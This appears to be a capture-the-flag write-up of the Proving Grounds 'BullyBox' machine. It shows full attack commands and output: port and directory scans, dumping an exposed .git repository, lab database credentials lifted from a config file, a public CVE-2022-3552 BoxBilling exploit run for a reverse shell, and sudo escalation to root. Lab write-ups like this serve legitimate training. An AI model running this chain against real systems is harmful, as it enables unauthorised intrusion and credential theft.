Nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|_  256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Device type: general purpose|router
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Web Findings

┌──(kali㉿kali)-[~/ProvingGrounds/bullyBox]
└─$ gobuster dir -u http://bullybox.local -w /usr/share/seclists/Discovery/Web-Content/common.txt -x txt,php,aspx,html,jsp -xl 3971
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://bullybox.local
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] Exclude Length:          3971
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              txt,php,aspx,html,jsp
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.git                 (Status: 301) [Size: 315] [--> http://bullybox.local/.git/]
.git/HEAD            (Status: 200) [Size: 23]
.git/config          (Status: 200) [Size: 92]
.git/logs/           (Status: 403) [Size: 279]
.git/logs/.php       (Status: 403) [Size: 279]
.git/logs/.html      (Status: 403) [Size: 279]
.git/index           (Status: 200) [Size: 495864]
.hta                 (Status: 403) [Size: 279]
<SNIP>
===============================================================
Finished
===============================================================

I didn’t know this, but we can dump a github repository with git-dumper if we have a internet facing repository.

┌──(.venv)─(kali㉿kali)-[~/ProvingGrounds/bullyBox]
└─$ git-dumper http://bullybox.local git

We find a bb-config.php file with credentials and the path to the admin page

<?php
return array (
  'debug' => false,
  'salt' => 'b94ff361990c5a8a37486ffe13fabc96',
  'url' => 'http://bullybox.local/',
  'admin_area_prefix' => '/bb-admin',
  'sef_urls' => true,
  'timezone' => 'UTC',
  'locale' => 'en_US',
  'locale_date_format' => '%A, %d %B %G',
  'locale_time_format' => ' %T',
  'path_data' => '/var/www/bullybox/bb-data',
  'path_logs' => '/var/www/bullybox/bb-data/log/application.log',
  'log_to_db' => true,
  'db' =>
  array (
    'type' => 'mysql',
    'host' => 'localhost',
    'name' => 'boxbilling',
    'user' => 'admin',
    'password' => 'Playing-Unstylish7-Provided',
  ),

admin@bullybox.local:Playing-Unstylish7-Provided

Exploitation

Earlier I found a boxbilling exploit POC with searchsploit, so we can use that now. I couldn’t get the POC to work manually, but I found a python script that automates it.

https://github.com/0xk4b1r/CVE-2022-3552

It’s just a matter of tweaking the script to include our local IP and port, then opening a listener.

┌──(kali㉿kali)-[~/ProvingGrounds/bullyBox]
└─$ python3 CVE-2022-3552.py -d http://bullybox.local -u admin@bullybox.local -p 'Playing-Unstylish7-Provided'
[+] Successfully logged in
[+] Payload saved successfully
[+] Getting Shell

Privilege Escalation

$ sudo -l
Matching Defaults entries for yuki on bullybox:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User yuki may run the following commands on bullybox:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL
$ sudo su
whoami
root
cd /root
ls
email6.txt
proof.txt
snap
cat proof.txt
2e54840bb43543074a32b2815db4a424
exit

Done!